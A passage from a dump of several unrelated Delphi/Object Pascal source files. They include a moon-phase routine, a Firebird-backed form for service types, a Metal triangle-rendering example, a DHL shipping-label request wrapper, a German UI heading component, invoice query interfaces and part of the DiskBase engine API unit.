fMoonDays[gLunes-1].MDays:= EncodeDate(LunAnW,LunMsW,JrLunEntW)+EncodeTime(HrLun,MnLun,0,0)+fTimeZone/24;// date de lune
//MoonDays[gLunes].MTime:= EncodeTime(HrLun,MnLun,0,0); // horaire de lune
gNbrLune[gLunes-1]:= tLune;
end; // else exit;
CptL:= CptL + interval;
end;
//simgArr: array of String = ('NL', 'PC', 'PQ', 'GC', 'PL', 'GD', 'DQ', 'DC');
ndx:= -1;
for J:= 0 To NumDays-1 do
begin
if gNbrLune[J]>38 then ndx:= gNbrLune[J]-39 else ndx:= gNbrLune[J]-31;
TxtL:= StringReplace(simgArr[ndx], '_', ' ', []);
TxtL[1]:= Upcase(TxtL[1]);
fMoonDays[J].MType:= TxtL; // // type de lune
fMoonDays[J].MIndex:= ndx;
end;
fready:= true;
end;
// GetMoonday doit avoir été lancé !!!
// Retrouve le jour fMoonDate
function TMoonphases.isMoon: TMoonRecord;
var
i: integer;
begin
result.MDays:= InvalidDate;
result.MType:= '';
try
if not fready then exit;
for i:= 1 to 56 do
if Trunc(fMoondate) = Trunc (fMoonDays[i].MDays) then result:= fMoonDays[i];
except
end;
end;
end.
|
unit FavTypeAdd;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, cxLookAndFeelPainters, cxCheckBox, ActnList, FIBQuery,
pFIBQuery, pFIBStoredProc, FIBDatabase, pFIBDatabase, StdCtrls,
cxButtons, cxControls, cxContainer, cxEdit, cxTextEdit,IBAse;
type
TTypeFavAdd = class(TForm)
GroupBox1: TGroupBox;
Label1: TLabel;
Label2: TLabel;
NameEditFull: TcxTextEdit;
NameEditShort: TcxTextEdit;
cxButton2: TcxButton;
cxButton3: TcxButton;
MainDB: TpFIBDatabase;
pFIBTransaction1: TpFIBTransaction;
pFIBStoredProc1: TpFIBStoredProc;
ActionList1: TActionList;
Action1: TAction;
SaveProc: TpFIBStoredProc;
pFIBTransaction2: TpFIBTransaction;
cxCheckBox1: TcxCheckBox;
cxCheckBox2: TcxCheckBox;
ActionList2: TActionList;
Action2: TAction;
procedure cxButton2Click(Sender: TObject);
procedure Action2Execute(Sender: TObject);
private
{ Private declarations }
public
PrCall:String;
idFavExp:Integer;
procedure InitConnection(DBhandle : TISC_DB_HANDLE);
constructor Create(AOwner:TComponent; DBhandle : TISC_DB_HANDLE;frmStyle: TFormStyle;Pr_vizova: String;id_fav_type:Integer); overload;
{ Public declarations }
end;
var
TypeFavAdd: TTypeFavAdd;
implementation
// -----------------------------------------------------------------------------
// Конструктор
constructor TTypeFavAdd.Create(AOwner: TComponent;DBhandle : TISC_DB_HANDLE;frmStyle: TFormStyle;Pr_vizova: String;id_fav_type:Integer);
begin
inherited Create (Aowner);
InitConnection(DBHandle); // Инициализируем связь с БД
PrCall:=Pr_vizova;
idFavExp:=id_fav_type;
// Инициализация базовых параметров формы.
FormStyle := frmStyle;
// -- Признак вызова формы на просмотр типа услуги
if PrCall = 'view' then
begin
SaveProc.Transaction.StartTransaction;
SaveProc.StoredProcName:='PUB_SP_TYPE_FAVOUR_SEL_ID';
SaveProc.ParamByName('ID_TYPE').AsInteger:=id_fav_type;
SaveProc.ExecProc;
NameEditFull.Text:=SaveProc.FldByName['full_name'].AsString;
NameEditShort.Text:=SaveProc.FldByName['short_name'].AsString;
if SaveProc.FldByName['is_month_pay'].AsString = '1' then
begin
cxCheckBox1.Checked:=true;
end
else begin
cxCheckBox1.Checked:=False;
end;
if SaveProc.FldByName['is_count_f'].AsString = '1' then
begin
cxCheckBox2.Checked:=true;
end
else begin
cxCheckBox2.Checked:=False;
end;
NameEditFull.Properties.ReadOnly:=true;
NameEditFull.Style.Color:=$00D9EBE0;
NameEditShort.Properties.ReadOnly:=true;
NameEditShort.Style.Color:=$00D9EBE0;
cxCheckBox1.Properties.ReadOnly:=true;
cxCheckBox2.Properties.ReadOnly:=true;
Caption:='Перегляд';
end;
// -- Признак вызова формы на редактирование типа услуги
// -- Загружаем уже существующие данные
if PrCall = 'mod' then
begin
SaveProc.Transaction.StartTransaction;
SaveProc.StoredProcName:='PUB_SP_TYPE_FAVOUR_SEL_ID';
SaveProc.ParamByName('ID_TYPE').AsInteger:=id_fav_type;
SaveProc.ExecProc;
NameEditFull.Text:=SaveProc.FldByName['full_name'].AsString;
NameEditShort.Text:=SaveProc.FldByName['short_name'].AsString;
if SaveProc.FldByName['is_month_pay'].AsString = '1' then
begin
cxCheckBox1.Checked:=true;
end
else begin
cxCheckBox1.Checked:=False;
end;
if SaveProc.FldByName['is_count_f'].AsString = '1' then
begin
cxCheckBox2.Checked:=true;
end
else begin
cxCheckBox2.Checked:=False;
end;
Caption:='Редагування';
end;
end;
// -----------------------------------------------------------------------------
// Инициализация соединения с БД
procedure TTypeFavAdd.InitConnection(DBhandle : TISC_DB_HANDLE);
begin
MainDB.Handle:= DBhandle;
pFIBTransaction1.StartTransaction;
end;
{$R *.dfm}
// -----------------------------------------------------------------------------
// Вариации кнопки "Сохранить"
procedure TTypeFavAdd.cxButton2Click(Sender: TObject);
begin
// Признак вызова - добавление
if PrCall = 'add' then
begin
// Заполняем параметры для сохранения значений в БД
SaveProc.Transaction.StartTransaction;
SaveProc.StoredProcName:='PUB_SP_TYPE_FAVOUR_ADD';
SaveProc.ParamByName('full_name_type_f').AsString:=NameEditFull.Text;
SaveProc.ParamByName('short_name_type_f').AsString:=NameEditShort.Text;
if cxCheckBox2.Checked then
begin
SaveProc.ParamByName('is_month_pay').AsString:='1';
end
else
begin
SaveProc.ParamByName('is_month_pay').AsString:='0';
end;
if cxCheckBox1.Checked then
begin
SaveProc.ParamByName('is_count_f').AsString:='1';
end
else
begin
SaveProc.ParamByName('is_count_f').AsString:='0';
end;
SaveProc.ExecProc;
SaveProc.Transaction.Commit;
Close;
end;
// Признак вызова - редактирование
if PrCall = 'mod' then
begin
SaveProc.Transaction.StartTransaction;
SaveProc.StoredProcName:='PUB_SP_TYPE_FAVOUR_MOD';
SaveProc.ParamByName('ID_TYPE_F').AsInteger:=idFavExp;
SaveProc.ParamByName('full_name_type_f').AsString:=NameEditFull.Text;
SaveProc.ParamByName('short_name_type_f').AsString:=NameEditShort.Text;
if cxCheckBox2.Checked then
begin
SaveProc.ParamByName('is_month_pay').AsString:='1';
end
else
begin
SaveProc.ParamByName('is_month_pay').AsString:='0';
end;
if cxCheckBox1.Checked then
begin
SaveProc.ParamByName('is_count_f').AsString:='1';
end
else
begin
SaveProc.ParamByName('is_count_f').AsString:='0';
end;
SaveProc.ExecProc;
SaveProc.Transaction.Commit;
Close;
end;
end;
// -----------------------------------------------------------------------------
// Выход по клавише "Эскейп"
procedure TTypeFavAdd.Action2Execute(Sender: TObject);
begin
Close();
end;
end.
|
namespace MetalExample;
interface
uses
Metal,
MetalKit;
type
// "Hello Triangle"
MetalExample1 = class(MetalBaseDelegate)
private
const
cShaderName = 'AAPLShaders1.metallib';
cVertexFuncName = 'vertexShader';
cFragmentFuncName = 'fragmentColorShader';
var
_pipelineState :MTLRenderPipelineState ;
_viewportSize : array [0..1] of UInt32;//Integer;
// Interface
method drawInMTKView(view: not nullable MTKView); override;
method mtkView(view: not nullable MTKView) drawableSizeWillChange(size: CGSize); override;
private // Consts
triangleVertices : Array of AAPLVertex1;
method createVerticies;
method UpdateColors;
public
constructor initWithMetalKitView(const mtkView : not nullable MTKView);// : MTKViewDelegate;
end;
implementation
method MetalExample1.drawInMTKView(view: not nullable MTKView);
begin
var commandBuffer := _commandQueue.commandBuffer();
commandBuffer.label := 'MyCommand';
var renderPassDescriptor: MTLRenderPassDescriptor := view.currentRenderPassDescriptor;
if renderPassDescriptor ≠ nil then
begin
UpdateColors;
view.clearColor := MTLClearColorMake(0, 0, 0, 1);
var renderEncoder: IMTLRenderCommandEncoder := commandBuffer.renderCommandEncoderWithDescriptor(renderPassDescriptor);
renderEncoder.label := 'MyRenderEncoder';
// Set the region of the drawable to which we'll draw.
var vp : MTLViewport;
vp.originX:=0.0;;
vp.originY:=0.0;
vp.width:=_viewportSize[0];
vp.height:= _viewportSize[1];
vp.znear:= -1.0;
vp.zfar:= 1.0;
renderEncoder.setViewport(vp);
renderEncoder.setRenderPipelineState(_pipelineState);
// We call -[MTLRenderCommandEncoder setVertexBytes:length:atIndex:] to send data from our
// Application ObjC code here to our Metal 'vertexShader' function
// This call has 3 arguments
// 1) A pointer to the memory we want to pass to our shader
// 2) The memory size of the data we want passed down
// 3) An integer index which corresponds to the index of the buffer attribute qualifier
// of the argument in our 'vertexShader' function
// You send a pointer to the `triangleVertices` array also and indicate its size
// The `AAPLVertexInputIndexVertices` enum value corresponds to the `vertexArray`
// argument in the `vertexShader` function because its buffer attribute also uses
// the `AAPLVertexInputIndexVertices` enum value for its index
var sizeTriangle := triangleVertices.length * sizeOf(AAPLVertex1);
renderEncoder.setVertexBytes(@triangleVertices[0] ) length(sizeTriangle) atIndex(AAPLVertexInputIndexVertices);
// You send a pointer to `_viewportSize` and also indicate its size
// The `AAPLVertexInputIndexViewportSize` enum value corresponds to the
// `viewportSizePointer` argument in the `vertexShader` function because its
// buffer attribute also uses the `AAPLVertexInputIndexViewportSize` enum value
// for its index
renderEncoder.setVertexBytes(@_viewportSize[0]) length(sizeOf(Int32)*2) atIndex(AAPLVertexInputIndexViewportSize );
// Draw the 3 vertices of our triangle
renderEncoder.drawPrimitives(MTLPrimitiveType.MTLPrimitiveTypeTriangle) vertexStart(0) vertexCount(triangleVertices.length);
renderEncoder.endEncoding();
commandBuffer.presentDrawable(view.currentDrawable);
end;
commandBuffer.commit();
end;
method MetalExample1.mtkView(view: not nullable MTKView) drawableSizeWillChange(size: CGSize);
begin
_viewportSize[0] := Convert.ToInt32(size.width);
_viewportSize[1] := Convert.ToInt32(size.height);
end;
constructor MetalExample1 initWithMetalKitView(const mtkView: not nullable MTKView);
begin
inherited;
var ShaderLoader := new shaderLoader(_device) Shadername(cShaderName) Vertexname(cVertexFuncName) Fragmentname(cFragmentFuncName);
if ShaderLoader = nil then exit nil
else
begin
var lError : Error;
// Configure a pipeline descriptor that is used to create a pipeline state
var pipelineStateDescriptor : MTLRenderPipelineDescriptor := new MTLRenderPipelineDescriptor();
pipelineStateDescriptor.label := "Simple Pipeline";
pipelineStateDescriptor.vertexFunction := ShaderLoader.VertexFunc;
pipelineStateDescriptor.fragmentFunction := ShaderLoader.FragmentFunc;
pipelineStateDescriptor.colorAttachments[0].pixelFormat := mtkView.colorPixelFormat;
_pipelineState := _device.newRenderPipelineStateWithDescriptor(pipelineStateDescriptor) error(var lError);
if (_pipelineState = nil) then
begin
// Pipeline State creation could fail if we haven't properly set up our pipeline descriptor.
// If the Metal API validation is enabled, we can find out more information about what
// went wrong. (Metal API validation is enabled by default when a debug build is run
// from Xcode)
NSLog("Failed to created pipeline state, error %@", lError);
exit nil;
end;
// Finally setup ther vericies for rendering
createVerticies;
end;
end;
method MetalExample1.UpdateColors;
begin
if triangleVertices.length > 2 then
triangleVertices[2].color := makeFancyColor;
end;
method MetalExample1.createVerticies;
begin
triangleVertices := new AAPLVertex1[3];
//Positions
triangleVertices[0].position := [ 250, -250];
triangleVertices[1].position := [-250, -250];
triangleVertices[2].position := [ 0, 250];
// Colors
triangleVertices[0].color := Color.createRed();
triangleVertices[1].color := Color.createGreen();
triangleVertices[1].color := Color.createBlue();
end;
end. |
unit Objekt.DHLGetLabelRequestAPI;
interface
uses
SysUtils, System.Classes, geschaeftskundenversand_api_2, Objekt.DHLVersion;
type
TDHLGetLabelRequestAPI = class
private
fRequest: GetLabelRequest;
fArray_Of_ShipmentNumber: Array_Of_shipmentNumber;
fShipmentNumber: string;
FVersion: TDHLVersion;
procedure setShipmentNumber(const Value: string);
public
constructor Create;
destructor Destroy; override;
property Request: GetLabelRequest read fRequest write fRequest;
property Version: TDHLVersion read FVersion write fVersion;
property ShipmentNumber: string read fShipmentNumber write setShipmentNumber;
end;
implementation
{ TDHLGetLabelRequestAPI }
constructor TDHLGetLabelRequestAPI.Create;
begin
fVersion := TDHLVersion.Create;
fRequest := GetLabelRequest.Create;
fRequest.Version := FVersion.VersionAPI;
//fRequest.labelResponseType := URL;
setLength(fArray_Of_ShipmentNumber, 1);
end;
destructor TDHLGetLabelRequestAPI.Destroy;
begin
FreeAndNil(fVersion);
FreeAndNil(fRequest);
inherited;
end;
procedure TDHLGetLabelRequestAPI.setShipmentNumber(const Value: string);
begin
fArray_Of_ShipmentNumber[0] := Value;
fShipmentNumber := Value;
fRequest.shipmentNumber := fArray_Of_ShipmentNumber;
end;
end.
|
unit NewFrontiers.Vcl.Ueberschrift;
interface
uses Vcl.Controls, Vcl.ExtCtrls, Vcl.StdCtrls, Vcl.ImgList, Classes;
type
TUeberschriftAccent = (
Blue, Green
);
TUeberschriftIcon = (
Index,
Artikel, Auswertungen, Dokumente, Einstellungen, Geraete, Kunden, Lieferanten,
Mahnwesen, Projekte, Service, Tickets, Versand, Vorgaenge, Wiedervorlage, Kalender,
DokumentOptionen
);
TUeberschriftSize = (
Klein, Mittel, Gross
);
type TUeberschrift = class(TCustomPanel)
private
_imageList: TCustomImageList;
_imageIndex: integer;
_icon: TUeberschriftIcon;
_size: TUeberschriftSize;
_accent: TUeberschriftAccent;
_text: string;
_strich: TPanel;
_iconControl: TImage;
_textControl: TLabel;
procedure setIcon(const Value: TUeberschriftIcon);
procedure setImageIndex(const Value: integer);
procedure setImageList(const Value: TCustomImageList);
procedure setSize(const Value: TUeberschriftSize);
procedure setText(const Value: string);
procedure GroesseKonfigurieren;
procedure setAccent(const Value: TUeberschriftAccent);
protected
procedure aktual;
procedure init;
procedure findIconIndex;
public
constructor Create(aOwner: TComponent); override;
published
property ImageList: TCustomImageList read _imageList write setImageList;
property ImageIndex: integer read _imageIndex write setImageIndex;
property Icon: TUeberschriftIcon read _icon write setIcon;
property Size: TUeberschriftSize read _size write setSize;
property Text: string read _text write setText;
property Accent: TUeberschriftAccent read _accent write setAccent;
end;
procedure Register;
implementation
uses Vcl.Graphics;
procedure Register;
begin
RegisterComponents('new frontiers', [TUeberschrift]);
end;
{ TUeberschrift }
procedure TUeberschrift.aktual;
begin
GroesseKonfigurieren;
// Farbe
if (_accent = TUeberschriftAccent.Blue) then
_strich.Color := 14526722
else
_strich.Color := 1435817;
// Text
_textControl.Caption := _text;
// Icon
if (_ImageList = nil) then
begin
_textControl.Left := _iconControl.Left;
_iconControl.Visible := false;
end
else begin
_iconControl.Visible := false;
self.Repaint;
findIconIndex;
_imageList.GetBitmap(_imageIndex, _iconControl.Picture.Bitmap);
_iconControl.Visible := true;
Self.Repaint;
end;
end;
procedure TUeberschrift.init;
begin
self.ParentFont := false;
self.ParentBackground := false;
self.Color := clWhite;
self.BevelOuter := bvNone;
self.BevelInner := bvNone;
self.Align := alTop;
self.Caption := ' ';
_strich := TPanel.Create(self);
_strich.Parent := self;
_strich.Align := alBottom;
_strich.ParentBackground := false;
_strich.BevelOuter := bvNone;
_strich.BevelInner := bvNone;
_strich.Caption := '';
_iconControl := TImage.Create(self);
_iconControl.Parent := self;
_iconControl.Transparent := true;
_textControl := TLabel.Create(self);
_textControl.ParentFont := false;
_textControl.Parent := self;
_textControl.Autosize := true;
_textControl.Color := $005C5C5C;
_text := '(c) new | frontiers software gmbh';
_imageIndex := 0;
_icon := TUeberschriftIcon.Index;
_size := TUeberschriftSize.Klein;
aktual;
end;
constructor TUeberschrift.Create(aOwner: TComponent);
begin
inherited;
init;
end;
procedure TUeberschrift.findIconIndex;
begin
case _icon of
Vorgaenge: _imageIndex := 19;
Kunden: _imageIndex := 21;
Lieferanten: _imageIndex := 5;
Artikel: _imageIndex := 8;
Projekte: _imageIndex := 18;
Geraete: _imageIndex := 17;
Versand: _imageIndex := 6;
Mahnwesen: _imageIndex := 13;
Wiedervorlage: _imageIndex := 11;
Auswertungen: _imageIndex := 9;
Service: _imageIndex := 16;
Tickets: _imageIndex := 12;
Einstellungen: _imageIndex := 23;
Dokumente: _imageIndex := 98;
Kalender: _imageIndex := 26;
DokumentOptionen: _imageIndex := 49;
end;
end;
procedure TUeberschrift.GroesseKonfigurieren;
begin
// Größe konfigurieren
if (_size = TUeberschriftSize.Klein) then
begin
self.Height := 26;
self.Constraints.MinHeight := 26;
self.Constraints.MaxHeight := 26;
_iconControl.Left := 4;
_iconControl.Top := 4;
_iconControl.Width := 16;
_iconControl.Height := 16;
_textControl.Font.Name := 'Segoe UI';
_textControl.Font.Size := 10;
_textControl.Left := 26;
_textControl.Top := 4;
_strich.Height := 2;
end
else if (_size = TUeberschriftSize.Mittel) then
begin
self.Height := 52;
self.Constraints.MinHeight := 52;
self.Constraints.MaxHeight := 52;
_iconControl.Left := 8;
_iconControl.Top := 8;
_iconControl.Width := 32;
_iconControl.Height := 32;
_textControl.Font.Name := 'Segoe UI';
_textControl.Font.Size := 18;
_textControl.Left := 52;
_textControl.Top := 6;
_strich.Height := 4;
end
else if (_size = TUeberschriftSize.Gross) then
begin
self.Height := 78;
self.Constraints.MinHeight := 78;
self.Constraints.MaxHeight := 78;
_iconControl.Left := 12;
_iconControl.Top := 12;
_iconControl.Width := 78;
_iconControl.Height := 78;
_textControl.Font.Name := 'Segoe UI';
_textControl.Font.Size := 24;
_textControl.Left := 78;
_textControl.Top := 9;
_strich.Height := 6;
end;
end;
procedure TUeberschrift.setAccent(const Value: TUeberschriftAccent);
begin
_accent := Value;
aktual;
end;
procedure TUeberschrift.setIcon(const Value: TUeberschriftIcon);
begin
_icon := Value;
aktual;
end;
procedure TUeberschrift.setImageIndex(const Value: integer);
begin
_imageIndex := Value;
aktual;
end;
procedure TUeberschrift.setImageList(const Value: TCustomImageList);
begin
_imageList := Value;
aktual;
end;
procedure TUeberschrift.setSize(const Value: TUeberschriftSize);
begin
_size := Value;
aktual;
end;
procedure TUeberschrift.setText(const Value: string);
begin
_text := Value;
aktual;
end;
end.
|
unit Invoice.Model.Interfaces;
interface
uses System.Classes, Data.DB;
type
iQuery = interface
['{6C0CDB32-885F-4DC6-B4DC-041B1D4F9173}']
procedure Open;
procedure Close;
function SQL(Value: String): iQuery;
function DataSet: TDataSet;
function Order(aFieldName: String): iQuery;
end;
iTable = interface
['{33CD1DDC-EB9F-47F8-B4D4-A0D0401A71D4}']
function Open(aTable: String): TDataSet;
end;
implementation
end.
|
unit UApi;
(*====================================================================
API layer between visual components and the DiskBase Engine. The API
functions are prefixed with QI_
======================================================================*)
{$A-}
interface
uses UTypes, UApiTypes, UCollections;
{Callback functions}
procedure QI_RegisterCallbacks (RIsTheLastCPB: TIsTheLastCPB;
RHowToContinue: THowToContinue;
RNewLineToIndicator: TNewLineToIndicator;
RAppendLIneToIndicator: TAppendLineToIndicator;
RUpdateProgressIndicator: TUpdateProgressIndicator;
RAbortScan: TAbortScan);
procedure QI_UnregisterCallbacks;
{Database Functions}
function QI_CheckDatabase (DBaseName: ShortString): integer;
function QI_CreateDatabase (DBaseName: ShortString): boolean;
function QI_OpenDatabase (DBaseName: ShortString; bRepair: boolean;
var DBHandle: PDBaseHandle;
var sMessage: ShortString): boolean;
function QI_CloseDatabase (var DBHandle: PDBaseHandle; MarkAsReadOnly: boolean): boolean;
procedure QI_ClearTreeStruct (DBHandle: PDBaseHandle);
procedure QI_ClearSavedTreeStruct(DBHandle: PDBaseHandle);
procedure QI_SaveTreeStruct (DBHandle: PDBaseHandle);
procedure QI_RestoreTreeStruct (DBHandle: PDBaseHandle);
function QI_DatabaseIsOpened (DBHandle: PDBaseHandle): boolean;
function QI_KeySearch (DBHandle: PDBaseHandle; var Key: ShortString; var Index: Integer): boolean;
procedure QI_ReadDBaseEntry (DBHandle: PDBaseHandle; Position: longint;
RWMode: TRWMode);
procedure QI_ReadDBaseEntryToSaved (DBHandle: PDBaseHandle; Index: Integer);
function QI_DeleteDBaseEntry (DBHandle: PDBaseHandle; Index: Integer): boolean;
function QI_DeleteSelectedDBaseEntries (DBHandle: PDBaseHandle): boolean;
function QI_RenameDBaseEntry (DBHandle: PDBaseHandle; Index: Integer;
NewName: ShortString; Undelete: boolean): boolean;
function QI_AppendNewDBaseEntry (DBHandle: PDBaseHandle): boolean;
procedure QI_SetNewKeyNameToTree (DBHandle: PDBaseHandle; KeyName: ShortString);
function QI_ScanDisk (DBHandle: PDBaseHandle;
Path, DiskName, VolumeLabel: ShortString): boolean;
function QI_GetTreeInfo (DBHandle: PDBaseHandle; var TreeInfo: TTreeInfo): boolean;
function QI_GetFullDirPath (DBHandle: PDBaseHandle; var Path: ShortString): boolean;
function QI_IsInArchive (DBHandle: PDBaseHandle): boolean;
function QI_GetArchivePath (DBHandle: PDBaseHandle): ShortString;
function QI_GetCurDirCol (DBHandle: PDBaseHandle): PDirColHandle;
function QI_GetCurDirColSubTotals (DBHandle: PDBaseHandle; var SubTotals: TSubTotals): boolean;
function QI_GetRootDirCol (DBHandle: PDBaseHandle): PDirColHandle;
function QI_GetFileCol (DBHandle: PDBaseHandle): PFileColHandle;
procedure QI_SetCurDirCol (DBHandle: PDBaseHandle; DirColHandle: PDirColHandle);
procedure QI_UpdateFileCol (DBHandle: PDBaseHandle);
function QI_GetCurrentKey (DBHandle: PDBaseHandle; var Key: ShortString;
var Attr: Word; var Index: Integer): boolean;
function QI_GetCurrentKeyEx (DBHandle: PDBaseHandle;
var DiskName, VolumeLabel, OrigPath: ShortString;
var Attr: Word; var Index: Integer): boolean;
function QI_GetKeyAt (DBHandle: PDBaseHandle; var Key: ShortString;
var Attr: Word; Index: Integer): boolean;
function QI_GetShortDesc (DBHandle: PDBaseHandle; ID: TFilePointer;
var ShortDesc: ShortString): boolean;
function QI_GetSelectionFlag (DBHandle: PDBaseHandle; Index: Integer): boolean;
procedure QI_SetSelectionFlag (DBHandle: PDBaseHandle; Selected: boolean; Index: Integer);
procedure QI_ToggleSelectionFlag (DBHandle: PDBaseHandle; Index: Integer);
function QI_GetSelectedCount (DBHandle: PDBaseHandle): longint;
function QI_SetCurrentKeyPos (DBHandle: PDBaseHandle; Index: Integer): boolean;
function QI_GetCountToShow (DBHandle: PDBaseHandle): Integer;
function QI_IsCorrectTreeLoaded (DBHandle: PDBaseHandle): boolean;
function QI_GoToDir (DBHandle: PDBaseHandle; Path: ShortString): boolean;
function QI_GoToKey (DBHandle: PDBaseHandle; Key: ShortString): boolean;
function QI_GoToKeyAt (DBHandle: PDBaseHandle; KeyPos: Integer): boolean;
function QI_ReloadTreeStruct (DBHandle: PDBaseHandle; LeaveNil: boolean): boolean;
function QI_NeedUpdDiskWin (DBHandle: PDBaseHandle): boolean;
function QI_NeedUpdTreeWin (DBHandle: PDBaseHandle): boolean;
function QI_NeedUpdFileWin (DBHandle: PDBaseHandle): boolean;
procedure QI_ClearNeedUpdDiskWin (DBHandle: PDBaseHandle);
procedure QI_ClearNeedUpdTreeWin (DBHandle: PDBaseHandle);
procedure QI_ClearNeedUpdFileWin (DBHandle: PDBaseHandle);
procedure QI_SetNeedUpdDiskWin (DBHandle: PDBaseHandle);
procedure QI_SetNeedUpdTreeWin (DBHandle: PDBaseHandle);
procedure QI_SetNeedUpdFileWin (DBHandle: PDBaseHandle);
procedure QI_SetLocalOptions (DBHandle: PDBaseHandle; LocalOptions: TLocalOptions);
procedure QI_GetLocalOptions (DBHandle: PDBaseHandle; var LocalOptions: TLocalOptions);
function QI_GetDBaseFileName (DBHandle: PDBaseHandle): ShortString;
function QI_LoadDescToBuf (DBHandle: PDBaseHandle; ID: TFilePointer;
var Buf: PChar): boolean;
function QI_SaveBufToDesc (DBHandle: PDBaseHandle; var OrigFilePointer: TFilePointer;
Buf: PChar): boolean;
procedure QI_DeleteFile (DBHandle: PDBaseHandle; var fileName: ShortString);
procedure QI_UpdateDescInCurList (DBHandle: PDBaseHandle; POneFile: TPOneFile);
procedure QI_GetDBaseInfo (DBHandle: PDBaseHandle; var DBaseInfo: TDBaseInfo);
function QI_DBaseExpired (DBHandle: PDBaseHandle): integer;
{DirCollection functions}
function QI_GetDirColCount (DCHandle: PDirColHandle): Integer;
function QI_GetOneDirDta (DCHandle: PDirColHandle; var OneDir: TOneDir): boolean;
function QI_GetDirColAt (DCHandle: PDirColHandle; Index: Integer): PDirColHandle;
{FileCollection functions}
function QI_GetFileColCount (FCHandle: PFileColHandle): Integer;
function QI_GetOneFileFromCol (FCHandle: PFileColHandle; Index: Integer;
var OneFile: TOneFile): boolean;
{FileSearch functions}
procedure QI_ClearSearchCol (DBHandle: PDBaseHandle);
function QI_SearchItemsAvail (DBHandle: PDbaseHandle): boolean;
procedure QI_SetSearchCallback (DBHandle: PDBaseHandle;
UpdateFunct: TCallBackProc);
procedure QI_DelSearchCallback (DBHandle: PDBaseHandle);
procedure QI_FindFiles (DBHandle: PDBaseHandle; SearchDlgData: TSearchDlgData);
procedure QI_SetIterateCallback (DBHandle: PDBaseHandle;
UpdateFunct : TCallBackProc;
SendOneDiskFunct : TSendOneDiskFunct;
SendOneDirFunct : TSendOneDirFunct;
SendOneFileFunct : TSendOneFileFunct;
GetNameWidthFunct: TGetNameWidthFunct);
procedure QI_DelIterateCallback (DBHandle: PDBaseHandle);
procedure QI_SetNotifyProcs (DBHandle: PDBaseHandle;
UpdateFunct : TCallBackProc;
OnDatabaseBegin : TNotifyProc;
OnDatabaseEnd : TNotifyProc;
OnDiskBegin : TNotifyProc;
OnDiskEnd : TNotifyProc;
OnFolderBegin : TNotifyProc;
OnFolderEnd : TNotifyProc;
OnFile : TNotifyProc);
procedure QI_DelNotifyProcs (DBHandle: PDBaseHandle);
procedure QI_IterateFiles (DBHandle: PDBaseHandle; SearchIn: TSearchIn;
eSendType: TSendType);
procedure QI_FindEmpties (DBHandle: PDBaseHandle);
function QI_GetSearchItemAt (DBHandle: PDBaseHandle; Index: Integer;
var aOneFile: TOneFile;
var aDisk, aDir, aShortDesc: ShortString): boolean;
function QI_GetFoundCount (DBHandle: PDBaseHandle): Integer;
procedure QI_ClearFoundList (DBHandle: PDBaseHandle);
procedure QI_GetSearchProgress (DBHandle: PDBaseHandle;
var Percent: Integer;
var DisksCount, DirsCount, FilesCount: longint);
procedure QI_GetMaxNameLength (DBHandle: PDBaseHandle;
var MaxNameLength, AvgNameLength, MaxNamePxWidth: Integer);
function QI_CopyDatabase (SrcDBHandle, TarDBHandle: PDBaseHandle;
WholeDbase, CheckDuplicates,
CopyLocalOptions: boolean): boolean;
function QI_SetVolumeLabel (VLabel: ShortString; Drive: char): boolean;
{import from QDIR4}
procedure QI_OpenQDir4Database (Name: ShortString);
function QI_ReadQDir4Entry (Position: longInt): boolean;
procedure QI_CloseQDir4Database;
function QI_GetQDir4VolumeLabel: ShortString;
procedure QI_GetQDir4RecordAttr(var aDiskSize, aDiskFree: longword;
aScanDate: longint);
function QI_ScanQDir4Record (DBHandle: PDBaseHandle; Path: ShortString;
VolumeLabel: ShortString): boolean;
procedure QI_SetQDir4CharConversion (Kamen: boolean);
function QI_GetErrorCounter (DBHandle: PDBaseHandle): integer;
procedure QI_ClearErrorCounter (DBHandle: PDBaseHandle);
//-----------------------------------------------------------------------------
implementation
uses SysUtils, UExceptions, UBaseTypes, UEngineMain, UEngineFileFind, UCallbacks,
UConvQDir4, UBaseUtils, ULang;
//-----------------------------------------------------------------------------
// Register callback functions, so that the Engine can update the progress
// indicators on screen etc.
procedure QI_RegisterCallbacks (RIsTheLastCPB: TIsTheLastCPB;
RHowToContinue: THowToContinue;
RNewLineToIndicator: TNewLineToIndicator;
RAppendLineToIndicator: TAppendLineToIndicator;
RUpdateProgressIndicator: TUpdateProgressIndicator;
RAbortScan: TAbortScan);
begin
CB_IsTheLastCPB := RIsTheLastCPB;
CB_HowToContinue := RHowToContinue;
CB_NewLineToIndicator := RNewLineToIndicator;
CB_AppendLineToIndicator := RAppendLineToIndicator;
CB_UpdateProgressIndicator := RUpdateProgressIndicator;
CB_AbortScan := RAbortScan;
end;
//-----------------------------------------------------------------------------
// Unregisters all callbacks
procedure QI_UnRegisterCallbacks;
begin
ClearCallBacks;
end;
//=============================================================================
// Checks if the database can be opened for writing, returns 0 in case of
// success, otherwise one of the following constants: cdNotQDirDBase, cdOldVersion = $02;
// cdHeaderCorrupted, cdItIsRuntime, cdCannotRead, cdWriteProtected
function QI_CheckDatabase (DBaseName: ShortString): integer;
begin
Result := CheckDatabase(DBaseName);
end;
//-----------------------------------------------------------------------------
// Creates new database. Returns true if succedes.
function QI_CreateDatabase (DBaseName: ShortString): boolean;
var
Database: PDatabase;
begin
Database := New(PDatabase, Init);
Database^.DBaseName := DBaseName;
QI_CreateDatabase := Database^.CreateDatabase(DBaseName);
Dispose(Database, Done);
end;
//-----------------------------------------------------------------------------
// Opens database, returns DBHandle
function QI_OpenDatabase(DBaseName: ShortString; bRepair: boolean;
var DBHandle: PDBaseHandle;
var sMessage: ShortString): boolean;
var
Database: PDatabase absolute DBHandle;
begin
Result := true;
Database := New(PDatabase, Init);
try
Database^.OpenDatabase(DBaseName, bRepair);
except
on E:EQDirException do
begin
sMessage := E.Message;
Result := false;
Dispose(Database, Done);
Database := nil;
end;
end;
end;
//-----------------------------------------------------------------------------
// Closes database
function QI_CloseDatabase (var DBHandle: PDBaseHandle; MarkAsReadOnly: boolean): boolean;
var
Database: PDatabase absolute DBHandle;
begin
QI_CloseDatabase := false;
if Database = nil then exit;
Database^.MarkAsReadOnly := MarkAsReadOnly;
Dispose(Database, Done);
Database := nil;
QI_CloseDatabase := true;
end;
//-----------------------------------------------------------------------------
// Deletes TreeStruct
procedure QI_ClearTreeStruct (DBHandle: PDBaseHandle);
var
Database: PDatabase absolute DBHandle;
begin
if Database = nil then exit;
with Database^ do
if TreeStruct <> nil then
begin
Dispose(TreeStruct, Done);
TreeStruct := nil;
end;
